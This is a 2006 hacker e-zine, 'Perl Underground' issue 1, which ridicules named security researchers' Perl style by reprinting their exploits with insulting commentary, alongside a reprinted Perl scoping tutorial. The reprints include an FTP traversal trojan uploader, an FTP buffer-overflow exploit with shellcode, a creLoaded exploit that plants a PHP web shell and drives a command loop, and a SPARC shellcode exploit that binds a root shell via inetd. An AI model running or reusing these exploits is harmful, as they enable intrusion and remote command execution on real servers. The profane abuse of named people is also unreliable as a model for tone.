Copy Link
Add to Bookmark
Report
perl underground 1
$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$
$$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$
$$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$
$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
[root@yourbox.anywhere]$ date
Tue Jan 31 01:34:43 EST 2006
[root@yourbox.anywhere]$ cat ./fucksticks.pl
use strict;
$ARGV[0] = q |~ TOC ~|;
$ARGV[1] = q |~ kokanin sucks ~|;
$ARGV[2] = q |~ frustration ~|;
$ARGV[3] = q |~ Critical Security critically sucks ~|;
$ARGV[4] = q |~ School You: MJD ~|;
$ARGV[5] = q |~ kaneda doesn't get away ~|;
$ARGV[6] = q |~ ph33rs ~|;
$ARGV[7] = q |~ Fyodor gets caught ~|;
$ARGV[8] = q |~ School You: BrowserUK ~|;
$ARGV[9] = q |~ He wants mercy ~|;
$ARGV[10] = q |~ School You: japhy ~|;
$ARGV[11] = q |~ DSR *clap clap* ~|;
$ARGV[12] = q |~ School You: tachyon ~|;
$ARGV[13] = q |~ Reads like Roadkill ~|;
$ARGV[14] = q |~ School You: merlyn ~|;
$ARGV[15] = q |~ r0t0r can't get a break ~|;
$ARGV[16] = q |~ Ch4r's contribution to Perl ~|;
$ARGV[17] = q |~ School You: Juerd ~|;
$ARGV[18] = q |~ byterage dropped the ball ~|;
$ARGV[19] = q |~ School You: tilly ~|;
$ARGV[20] = q |~ ilya loses his reputation ~|;
$ARGV[21] = q |~ Shoutz and Outz ~|;
[root@yourbox.anywhere]$ perl bring_it.pl
-[0x01] # kokanin sucks --------------------------------------------------
# kokanin man I expected more from you
# gobbles gobbles =P
if(!$ARGV[0]){ die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] [trojan.exe] [/path/to/target.exe] \n";}
# heh
use Net::FTP;
my $target = $ARGV[0];
# you won't be the last to be horribly ignorant of shift
my $dotdot = "../../../../../../../../../../../../../../";
# we got this thing called x, eh? my $dotdot = '../' x 14;
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
# Dude, learn how to handle arguments. see the 'shift' function? takes a value off an array. smooth huh?
#my $target = shift || '127.0.0.1';
#my $user = shift || 'IEUser';
#my $pass = shift || 'mail@mail.com';
#my $port = shift || '22003';
#my $path = shift || '/guests';
#my $trojan = shift || '/etc/hosts';
#my $dest = shift || 'owned.txt';
print " target: $target \n user: $user \n pass: $pass \n port: $port \n writable path: $writablepath \n trojan: $trojan \n targetfile: $destination \n";
use Net::FTP;
# love how you include this twice.
$ftp = Net::FTP->new("$target", #way to excess quote
Debug => 0,
Port => "$port") #oh look its those quotes again
or die "Cannot connect: $@";
$ftp->login("$user","$pass") # quotes quotes!
or die "Cannot login ", $ftp->message;
$ftp->cwd("$writablepath") # quotes!
or die "Cannot go to writable dir ", $ftp->message;
my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000","WIN2K","WINDOWS","WINDOZE"); # ever heard of qw(), buddy?
for(@systemroots){
$reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
if($reply == 2) { print " %SYSTEMROOT% is /$_\n";my $systemroot=$_; } # way to actually use that $systemroot var sometime
}
$ftp->binary;
$ftp->put("$trojan","$dotdot"."$destination") # you really love quotes, don't you?
and print "file successfully uploaded, donate money to kokanin\@gmail.com\n" or die "Something messed up, file upload failed ", $ftp->message;
$ftp->quit;
# <ilja> idiot == kokanin ?
# <idiot> kokanin = idiot
# you said it
# For a guy with a reputation, a knack for finding vulns, and years under your belt, you really suck.
-[0x02] # frustration ----------------------------------------------------
It's all these morons who can't code Perl worth wiping their ass that
think they can criticize it. They fail to have any intelligent
understanding of the language. They try to code in Perl like they would
code in C, and bitch when they hit differences or limitations. They don't
learn the aspects of the language that aren't parallel with C. They keep
their heads so far up their asses that they never learn the language, yet
continue to write their cheap hacks in it while always supporting that C
(or their language of choice) is better. Do they understand how stupid
they sound when you make judgements on Perl with such a childish vantage
point on it? Maybe they can read this and learn something. Or will they be
arrogant enough to just dismiss it?
-[0x03] # Critical Security Critically Sucks -----------------------------
use Net::FTP;
use Switch;
# Switch sucks
if (@ARGV < 3) {
print "--------------------------------------------------------------------\n";
print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress -oOffsetNumber\n";
print " Offsets: \n";
print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n";
print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n";
print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n";
print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp\n";
print " If values not specified, default values will be used.\n";
print " Example : ./eploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n";
print "--------------------------------------------------------------------\n";
}
$host = "127.0.0.1";
$yourip = "127.0.0.1" ;
# how about: my ($host, $yourip) = '127.0.0.1';
$offset = "\xE0\x3A\xB4\x76";
foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$yourip = $1 if ($_=~/-y((.*)\.(.*)\.(.*)\.(.*))/);
$offset = $1 if ($_=~/-o(.*)/);
}
# Do I need to get into how much you suck at regex?
# Way to overuse parens and .* and $_
# my ($host) = $_ =~ /(-h\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# might as name that loop val since you'll use it
switch ($offset) {
case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call esp
case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call esp
case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp esp
case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp
}
foreach $letter (split '', $yourip) { $c++;}; # never heard of length()
$ftp = Net::FTP->new($host, Debug => 0) or die "Cannot connect: $@";
$user = "A" x 213 . # You could give kokanin some lessons
"A" x (15 - $c) .
$offset . # ret adresas á kokio dll'o call esp ar jmp esp, ar ka nors panaðaus svarbu, kad nuðoktume á esp ;)
"\x90" x 25 . # nop'ø sled'as, kad sulygintume su esp esanèiu adresu
# ðelkodas paleidþiantis notepad� (ðelkodas skirtas tiem kas sakë, jog critical mëgsta DoS :*) - norësit, ásidësit normalø..
"\xCD\x03".
"\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C".
"\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C".
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B".
"\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34".
"\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74".
"\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28".
"\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B".
"\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24".
"\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A".
"\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8".
"\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B".
"\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74".
"\x65\x70\x61\x64\x2E\x65\x78\x65\x01";
$ftp->login("$user","biatch"); # bah, just when I thought you knew not to quote vars
-[0x04] # School You: MJD ------------------------------------------------
Just the FAQs: Coping with Scoping
In the Beginning, some time around 1960, every part of your program had
access to all the variables in every other part of the program. That
turned out to be a problem, so language designers invented local
variables, which were visible in only a small part of the program. That
way, programmers who used a variable x could be sure that nobody was able
to tamper with the contents of x behind their back. They could also be
sure that by using x they weren't tampering with someone else's variable
by mistake.
Every programming language has a philosophy, and these days most of these
philosophies have to do with the way the names of variables are managed.
Details of which variables are visible to which parts of the program, and
what names mean what, and when, are of prime importance. The details vary
from somewhat baroque, in languages like Lisp, to extremely baroque, in
languages like C++. Perl unfortunately, falls somewhere towards the rococo
end of this scale.
The problem with Perl isn't that it has no clearly-defined system of name
management, but rather that it two systems, both working at once. Here's
the Big Secret about Perl variables that most people learn too late: Perl
has two completely separate, independent sets of variables. One is left
over from Perl 4, and the other is new. The two sets of variables are
called `package variables' and `lexical variables', and they have nothing
to do with each other.
Package variables came first, so we'll talk about them first. Then we'll
see some problems with package variables, and how lexical variables were
introduced in Perl 5 to avoid these problems. Finally, we'll see how to
get Perl to automatically diagnose places where you might not be getting
the variable you meant to get, which can find mistakes before they turn
into bugs.
Package Variables
$x = 1
Here, $x is a package variable. There are two important things to know
about package variables:
Package variables are what you get if you don't say otherwise.
Package variables are always global.
Global means that package variables are always visible everywhere in every
program. After you do $x = 1, any other part of the program, even some
other subroutine defined in some other file, can inspect and modify the
value of $x. There's no exception to this; package variables are always
global.
Package variables are divided into families, called packages. Every
package variable has a name with two parts. The two parts are analogous to
the variable's given name and family name. You can call the Vice-President
of the United States `Al', if you want, but that's really short for his
full name, which is `Al Gore'. Similarly, $x has a full name, which is
something like $main::x. The main part is the package qualifier, analogous
to the `Gore' part of `Al Gore'. Al Gore and Al Capone are different
people even though they're both named `Al'. In the same way, $Gore::Al and
$Capone::Al are different variables, and $main::x and $DBI::x are
different variables.
You're always allowed to include the package part of the variable's name,
and if you do, Perl will know exactly which variable you mean. But for
brevity, you usually like to leave the package qualifier off. What happens
if you do?
The Current Package
If you just say $x, perl assumes that you mean the variable $x in the
current package. What's the current package? It's normally main, but you
can change the current package by writing
package Mypackage;
in your program; from that point on, the current package is Mypackage. The
only thing the current package does is affect the interpretation of
package variables that you wrote without package names. If the current
package is Mypackage, then $x really means $Mypackage::x. If the current
package is main, then $x really means $main::x.
If you were writing a module, let's say the MyModule module, you would
probably put a line like this at the top of the module file:
package MyModule;
From there on, all the package variables you used in the module file would
be in package MyModule, and you could be pretty sure that those variables
wouldn't conflict with the variables in the rest of the program. It
wouldn't matter if both you and the author of DBI were to use a variable
named $x, because one of those $xes would be $MyModule::x and the other
would be $DBI::x.
Remember that package variables are always global. Even if you're not in
package DBI, even if you've never heard of package DBI, nothing can stop
you from reading from or writing to $DBI::errstr. You don't have to do
anything special. $DBI::errstr, like all package variables, is a global
variable, and it's available globally; all you have to do is mention its
full name to get it. You could even say
package DBI;
$errstr = 'Ha ha Tim!';
and that would modify $DBI::errstr.
Package Variable Trivia
There are only three other things to know about package variables, and you
might want to skip them on the first reading:
The package with the empty name is the same as main. So $::x is the same
as $main::x for any x.
Some variables are always forced to be in package main. For example, if
you mention %ENV, Perl assumes that you mean %main::ENV, even if the
current package isn't main. If you want %Fred::ENV, you have to say so
explicitly, even if the current package is Fred. Other names that are
special this way include INC, all the one-punctuation-character names like
$_ and $$, @ARGV, and STDIN, STDOUT, and STDERR.
Package names, but not variable names, can contain ::. You can have a
variable named $DBD::Oracle::x. This means the variable x in the package
DBD::Oracle; it has nothing at all to do with the package DBD which is
unrelated. Isaac Newton is not related to Olivia Newton-John, and
Newton::Isaac is not related to Newton::John::Olivia. Even though it
appears that they both begin with Newton, the appearance is deceptive.
Newton::John::Olivia is in package Newton::John, not package Newton.
That's all there is to know about package variables.
Package variables are global, which is dangerous, because you can never be
sure that someone else isn't tampering with them behind your back. Up
through Perl 4, all variables were package variables, which was worrisome.
So Perl 5 added new variables that aren't global.
Lexical Variables
Perl's other set of variables are called lexical variables (we'll see why
later) or private variables because they're private. They're also
sometimes called my variables because they're always declared with my.
It's tempting to call them `local variables', because their effect is
confined to a small part of the program, but don't do that, because people
might think you're talking about Perl's local operator, which we'll see
later. When you want a `local variable', think my, not local.
The declaration
my $x;
creates a new variable, named x, which is totally inaccessible to most
parts of the program---anything outside the block where the variable was
declared. This block is called the scope of the variable. If the variable
wasn't declared in any block, its scope is from the place it was declared
to the end of the file.
You can also declare and initialize a my variable by writing something
like
my $x = 119;
You can declare and initialize several at once:
my ($x, $y, $z, @args) = (5, 23, @_);
Let's see an example of where some private variables will be useful.
Consider this subroutine:
sub print_report {
@employee_list = @_;
foreach $employee (@employee_list) {
$salary = lookup_salary($employee);
print_partial_report($employee, $salary);
}
}
If lookup_salary happens to also use a variable named $employee, that's
going to be the same variable as the one used in print_report, and the
works might get gummed up. The two programmers responsible for
print_report and lookup_salary will have to coordinate to make sure they
don't use the same variables. That's a pain. In fact, in even a
medium-sized project, it's an intolerable pain.
The solution: Use my variables:
sub print_report {
my @employee_list = @_;
foreach my $employee (@employee_list) {
my $salary = lookup_salary($employee);
print_partial_report($employee, $salary);
}
}
my @employee_list creates a new array variable which is totally
inaccessible outside the print_report function. for my $employee creates a
new scalar variable which is totally inaccessible outside the foreach
loop, as does my $salary. You don't have to worry that the other functions
in the program are tampering with these variables, because they can't;
they don't know where to find them, because the names have different
meanings outside the scope of the my declarations. These `my variables'
are sometimes called `lexical' because their scope depends only on the
program text itself, and not on details of execution, such as what gets
executed in what order. You can determine the scope by inspecting the
source code without knowing what it does. Whenever you see a variable,
look for a my declaration higher up in the same block. If you find one,
you can be sure that the variable is inaccessible outside that block. If
you don't find a declaration in the smallest block, look at the next
larger block that contains it, and so on, until you do find one. If there
is no my declaration anywhere, then the variable is a package variable.
my variables are not package variables. They're not part of a package, and
they don't have package qualifiers. The current package has no effect on
the way they're interpreted. Here's an example:
my $x = 17;
package A;
$x = 12;
package B;
$x = 20;
# $x is now 20.
# $A::x and $B::x are still undefined
The declaration my $x = 17 at the top creates a new lexical variable named
x whose scope continues to the end of the file. This new meaning of $x
overrides the default meaning, which was that $x meant the package
variable $x in the current package.
package A changes the current package, but because $x refers to the
lexical variable, not to the package variable, $x=12 doesn't have any
effect on $A::x. Similarly, after package B, $x=20 modifies the lexical
variable, and not any of the package variables.
At the end of the file, the lexical variable $x holds 20, and the package
variables $main::x, $A::x, and $B::x are still undefined. If you had
wanted them, you could still have accessed them by using their full names.
The maxim you must remember is:
Package variables are global variables.
For private variables, you must use my.
local and my
Almost everyone already knows that there's a local function that has
something to do with local variables. What is it, and how does it related
to my? The answer is simple, but bizarre:
my creates a local variable. local doesn't.
First, here's what local $x really does: It saves the current value of the
package variable $x in a safe place, and replaces it with a new value, or
with undef if no new value was specified. It also arranges for the old
value to be restored when control leaves the current block. The variables
that it affects are package variables, which get local values. But package
variables are always global, and a local package variable is no exception.
To see the difference, try this:
$lo = 'global';
$m = 'global';
A();
sub A {
local $lo = 'AAA';
my $m = 'AAA';
B();
}
sub B {
print "B ", ($lo eq 'AAA' ? 'can' : 'cannot') ,
" see the value of lo set by A.\n";
print "B ", ($m eq 'AAA' ? 'can' : 'cannot') ,
" see the value of m set by A.\n";
}
This prints
B can see the value of lo set by A.
B cannot see the value of m set by A.
What happened here? The local declaration in A saved a new temporary
value, AAA, in the package variable $lo. The old value, global, will be
restored when A returns, but before that happens, A calls B. B has no
problem accessing the contents of $lo, because $lo is a package variable
and package variables are always available everywhere, and so it sees the
value AAA set by A.
In contrast, the my declaration created a new, lexically scoped variable
named $m, which is only visible inside of function A. Outside of A, $m
retains its old meaning: It refers the the package variable $m; which is
still set to global. This is the variable that B sees. It doesn't see the
AAA because the variable with that value is a lexical variable, and only
exists inside of A.
What Good is local?
Because local does not actually create local variables, it is not very
much use. If, in the example above, B happened to modify the value of $lo,
then the value set by A would be overwritten. That is exactly what we
don't want to happen. We want each function to have its own variables that
are untouchable by the others. This is what my does.
Why have local at all? The answer is 90% history. Early versions of Perl
only had global variables. local was very easy to implement, and was added
to Perl 4 as a partial solution to the local variable problem. Later, in
Perl 5, more work was done, and real local variables were put into the
language. But the name local was already taken, so the new feature was
invoked with the word my. my was chosen because it suggests privacy, and
also because it's very short; the shortness is supposed to encourage you
to use it instead of local. my is also faster than local.
When to Use my and When to Use local
Always use my; never use local.
Wasn't that easy?
Other Properties of my Variables
Every time control reaches a my declaration, Perl creates a new, fresh
variable. For example, this code prints x=1 fifty times:
for (1 .. 50) {
my $x;
$x++;
print "x=$x\n";
}
You get a new $x, initialized to undef, every time through the loop.
If the declaration were outside the loop, control would only pass by it
once, so there would only be one variable:
{ my $x;
for (1 .. 50) {
$x++;
print "x=$x\n";
}
}
This prints x=1, x=2, x=3, ... x=50.
You can use this to play a useful trick. Suppose you have a function that
needs to remember a value from one call to the next. For example, consider
a random number generator. A typical random number generator (like Perl's
rand function) has a seed in it. The seed is just a number. When you ask
the random number generator for a random number, the function performs
some arithmetic operation that scrambles the seed, and it returns the
result. It also saves the result and uses it as the seed for the next time
it is called.
Here's typical code: (I stole it from the ANSI C standard, but it behaves
poorly, so don't use it for anything important.)
$seed = 1;
sub my_rand {
$seed = int(($seed * 1103515245 + 12345) / 65536) % 32768;
return $seed;
}
And typical output:
16838
14666
10953
11665
7451
26316
27974
27550
There's a problem here, which is that $seed is a global variable, and that
means we have to worry that someone might inadvertently tamper with it. Or
they might tamper with it on purpose, which could affect the rest of the
program. What if the function were used in a gambling program, and someone
tampered with the random number generator?
But we can't declare $seed as a my variable in the function:
sub my_rand {
my $seed;
$seed = int(($seed * 1103515245 + 12345) / 65536) % 32768;
return $seed;
}
If we did, it would be initialized to undef every time we called my_rand.
We need it to retain its value between calls to my_rand.
Here's the solution:
{ my $seed = 1;
sub my_rand {
$seed = int(($seed * 1103515245 + 12345) / 65536) % 32768;
return $seed;
}
}
The declaration is outside the function, so it only happens once, at the
time the program is compiled, not every time the function is called. But
it's a my variable, and it's in a block, so it's only accessible to code
inside the block. my_rand is the only other thing in the block, so the
$seed variable is only accessible to the my_rand function.
$seed here is sometimes called a `static' variable, because it stays the
same in between calls to the function. (And because there's a similar
feature in the C language that is activated by the static keyword.)
my Variable Trivia
You can't declare a variable my if its name is a punctuation character,
like $_, @_, or $$. You can't declare the backreference variables $1, $2,
... as my. The authors of my thought that that would be too confusing.
Obviously, you can't say my $DBI::errstr, because that's
contradictory---it says that the package variable $DBI::errstr is now a
lexical variable. But you can say local $DBI::errstr; it saves the current
value of $DBI::errstr and arranges for it to be restored at the end of the
block.
New in Perl 5.004, you can write
foreach my $i (@list) {
instead, to confine the $i to the scope of the loop instead. Similarly,
for (my $i=0; $i<100; $i++) {
confines the scope of $i to the for loop.
Declarations
If you're writing a function, and you want it to have private variables,
you need to declare the variables with my. What happens if you forget?
sub function {
$x = 42; # Oops, should have been my $x = 42.
}
In this case, your function modifies the global package variable $x. If
you were using that variable for something else, it could be a disaster
for your program.
Recent versions of Perl have an optional protection against this that you
can enable if you want. If you put
use strict 'vars';
at the top of your program, Perl will require that package variables have
an explicit package qualifier. The $x in $x=42 has no such qualifier, so
the program won't even compile; instead, the compiler will abort and
deliver this error message:
Global symbol "$x" requires explicit package name at ...
If you wanted $x to be a private my variable, you can go back and add the
my. If you really wanted to use the global package variable, you could go
back and change it to
$main::x = 42;
or whatever would be appropriate.
Just saying use strict turns on strict vars, and several other checks
besides. See perldoc strict for more details.
Now suppose you're writing the Algorithms::KnuthBendix modules, and you
want the protections of strict vars But you're afraid that you won't be
able to finish the module because your fingers are starting to fall off
from typing $Algorithms::KnuthBendix::Error all the time.
You can save your fingers and tell strict vars to make an exception:
package Algorithms::KnuthBendix;
use vars '$Error';
This exempts the package variable $Algorithms::KnuthBendix::Error from
causing a strict vars failure if you refer to it by its short name,
$Error.
You can also turn strict vars off for the scope of one block by writing
{ no strict 'vars';
# strict vars is off for the rest of the block.
}
Summary
Package variables are always global. They have a name and a package
qualifier. You can omit the package qualifier, in which case Perl uses a
default, which you can set with the package declaration. For private
variables, use my. Don't use local; it's obsolete.
You should avoid using global variables because it can be hard to be sure
that no two parts of the program are using one another's variables by
mistake.
To avoid using global variables by accident, add use strict 'vars' to your
program. It checks to make sure that all variables are either declared
private, are explicitly qualified with package qualifiers, or are
explicitly declared with use vars.
-[0x05] # kaneda doesn't get away ----------------------------------------
# kaneda, not too bad. Almost decent actually.
# But I just couldn't let this slip by ;)
print "creLoaded <= 6.15 HTMLAREA automated perl exploit\nhacked up by kaneda\n";
# what the hell is this doing up here?
use LWP::UserAgent;
use HTTP::Request::Common;
use Getopt::Std;
use Term::ReadLine;
# Yet no strict?
my $baseurl = "/admin/htmlarea/popups/file/files.php";
my $status = getopts('s:p:a:');
if(@ARGV < 1) { die(usage()); }
# what the hell is this doing down here?
# how about you die() at the end of usage()
my %vars, $response, $masterurl, $browser, $cmd;
$masterurl = @ARGV[0];
$browser = LWP::UserAgent->new;
# my $masterurl = shift;
# my $browser = LWP::UserAgent->new;
# etc
if($opt_s) {
print "[*] User-defined script '$opt_s' will be used instead of 'default'\n";
}
if($opt_p) {
$browser->proxy(['http', 'https'] => $opt_p);
print "[*] HTTP/HTTPS proxy set to $opt_p\n";
}
if($opt_a) {
@tmp = split(",",$opt_a);
# very "unperl" way to form split
foreach $tmpvar (@tmp) {
# such lovely variable names
@tmp2 = split("=",$tmpvar);
$vars{$tmp2[0]} = $tmp2[1];
print "[+] Adding variable '" . $tmp2[0] . "' with value '" . $tmp2[1] . "'\n";
}
}
sub usage
{
print "usage: creloaded615.pl [-s/path/to/file.php] [-phostname:port] [-avarname1=value1,...,varname2=value2] URL\n\n";
print "-a - additional variables i.e. -aaction=create,cid=12\n";
print "-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080\n";
print "-s - specify path to user-defined script instead of using default\n";
print "URL - http://vuln/store\n\n";
exit;
# I thought you already called die()? Maybe a bit redundant
}
sub sendform
{
if($opt_G) {
my $url = $masterurl . "?";
foreach $tmp (keys (%vars)) {
$url .= "\&$tmp=" . $vars{$tmp};
}
$response = $browser->get($url);
die "Failed to get!" unless defined $response;
# oooh, you know 'unless', way to throw away that cred with 'defined' here
} else {
$response = $browser->post($masterurl, \%vars);
die "Failed to post!" unless defined $response;
}
}
if(!$opt_s) {
# Lazy. <-- no shit.
print "[*] Creating 'default' PHP script\n";
$tmp = "<?php system(\$a); ?>";
open(FILE, "> /tmp/default.php");
# open my $FILE, '>', '/tmp/default.php' or die "look ma, and error message $!";
print FILE $tmp;
close(FILE);
# mmm unneeded parens
$opt_s = "/tmp/default.php";
}
open(FILE, "< $opt_s");
# there's that lame open again
@content = <FILE>;
close(FILE);
# way to use that @content array latter on...
if(!$vars{"dirPath"}) {
print "[*] Setting upload path to $masterurl/images\n";
$vars{"dirPath"} = "/../images/";
}
$tmp = $masterurl . $baseurl;
print "[*] Abusing creLOADED\n";
$browser->timeout(10);
$req = POST $tmp, Content_Type => 'form-data', Content => [ actions => "upload", dirPath => $vars{"dirPath"}, upload => [ $opt_s ] ];
$response = $browser->request($req);
$browser->timeout(180);
$term = Term::ReadLine->new('cre');
print "[*] Executing 'id' then spawning fake shell\n";
$masterurl = $masterurl . "/images/default.php";
# I thought you C noobs knew how to use .=
$vars{"a"} = "id";
&sendform;
# oh yeah, Perl 4 here we come
print $response->content;
while(1) {
$prompt = "bash-2.05b\$ ";
$tmp = $term->readline($prompt, "");
$cmd = $tmp;
if(($cmd eq "quit") || ($cmd eq "exit")) {
exit;
}
# oh shit
$vars{"a"} = $cmd;
&sendform;
# hehe
print $response->content;
}
-[0x06] # ph33rs ---------------------------------------------------------
Nobody is safe from our criticism. I picked everyone here specifically.
Why waste my time with somebody not worth criticizing? I'll take on the
elite. Everyone with a reputation. These guys get to be elitist assholes,
yet they can't keep their Perl code up to par. Anyone listed here wrote
Perl like shit. And released it publicly. Maybe they were even proud of
it. Rush to exploit sites, put up your exploit. Hope nobody notices that
any decent Perl programmer wouldn't do to be associated with you. Where's
your knowledge now? Where's your years of programming experience? How
come, with everything you've been through, your Perl has become our joke?
I'm nice. Note that I kept it to one shitty Perl script per author. And I
didn't pick on everything in the code. What's with ezines and a lack of
Perl code? Did they see me coming? b0g, b4b0, bow, el8, h0no, none of
them. Here I thought that in those hundreds of kilobytes of content they'd
have some quality Perl. Guess not. Smart fuckers, stuck to what they know.
-[0x07] # Fyodor gets caught ---------------------------------------------
# Fyodor, this is almost too simple, and you do it almost nicely
$cmdline="echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob";
$cmdline=$ARGV[0] if $ARGV[0];
# $cmdline = shift || "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob";
$nop='%80%1b%c0%1f';
$strlen=0x54 + length($cmdline);
# what's with you guys and parens for everything?
$cmdline=~ s/ /%20/g;
$strlen=sprintf "%%%x", $strlen;
$shell=
'%20%bf%ff%ff' .# start:bn,a <start-4> ! super-dooper trick to get current address ;')
'%20%bf%ff%ff' .# boom:bn,a <start>
'%7f%ff%ff%ff' .# call boom
'%90%03%e0%48' .# add %o7, binksh - boom, %o0 ! put binksh address into %o0
'%92%03%e0%38' .# add %o7, argz - boom, %o1 ! put address of argz array into %o1
'%a0%03%e0%51' .# add %o7, minusc - boom, %l0 ! put address of -c argument into %l0
'%a2%03%e0%54' .# add %o7, cmdline - boom, %l1 ! put address of command line argument into %l1
'%c0%2b%e0%50' .# stb %g0, [ %o7 + minusc-boom-1 ] ! put ending zero byte at the end of /bin/sh
'%c0%2b%e0%53' .#stb %g0, [ %o7 + cmdline-boom-1 ] ! put ending zero byte at the end of -c
'%c0%2b%e0' . $strlen .# stb %g0, [ %o7 + endmark-boom-1 ] ! put ending zero byte at the end of command line
'%d0%23%e0%38' .#st %o0, [ %o7 + argz-boom ] ! store pointer to ksh into 0 element of argz
'%e0%23%e0%3c' .#st %l0, [ %o7 + argz-boom+4 ] ! store pointer to -c into 1 element of argz
'%e2%23%e0%40' .#st %l1, [ %o7 + argz-boom+8 ] ! store pointer to cmdline into 2 element of argz
'%c0%23%e0%44' .#st %g0, [ %o7 + argz-boom+12 ] ! store NULL pointer at the end
'%82%10%20%0b' .#mov 0xb, %g1
'%91%d0%20%08' .#ta 8
'%ff%ff%ff%ff'. # 40argz: 0xffffffff;
'%ff%ff%ff%ff'. # 44 0xffffffff;
'%ff%ff%ff%ff'. # 48 0xffffffff;
'%ff%ff%ff%ff'. # 52 0xffffffff;
'/bin/kshA' . # 56 binksh: "/bin/kshA";
'-cA' . $cmdline . 'A'; # cmdline: "blahblahA";
##################################################
# Generate huge GET /..<shellcode>...shtml here #
##################################################
$padd=814-length($shell);
print STDERR "pad is $padd\n";
print "GET /";
print $nop x 40;
print $she11;
print "A"x $padd;
# we have this . operator, ok?
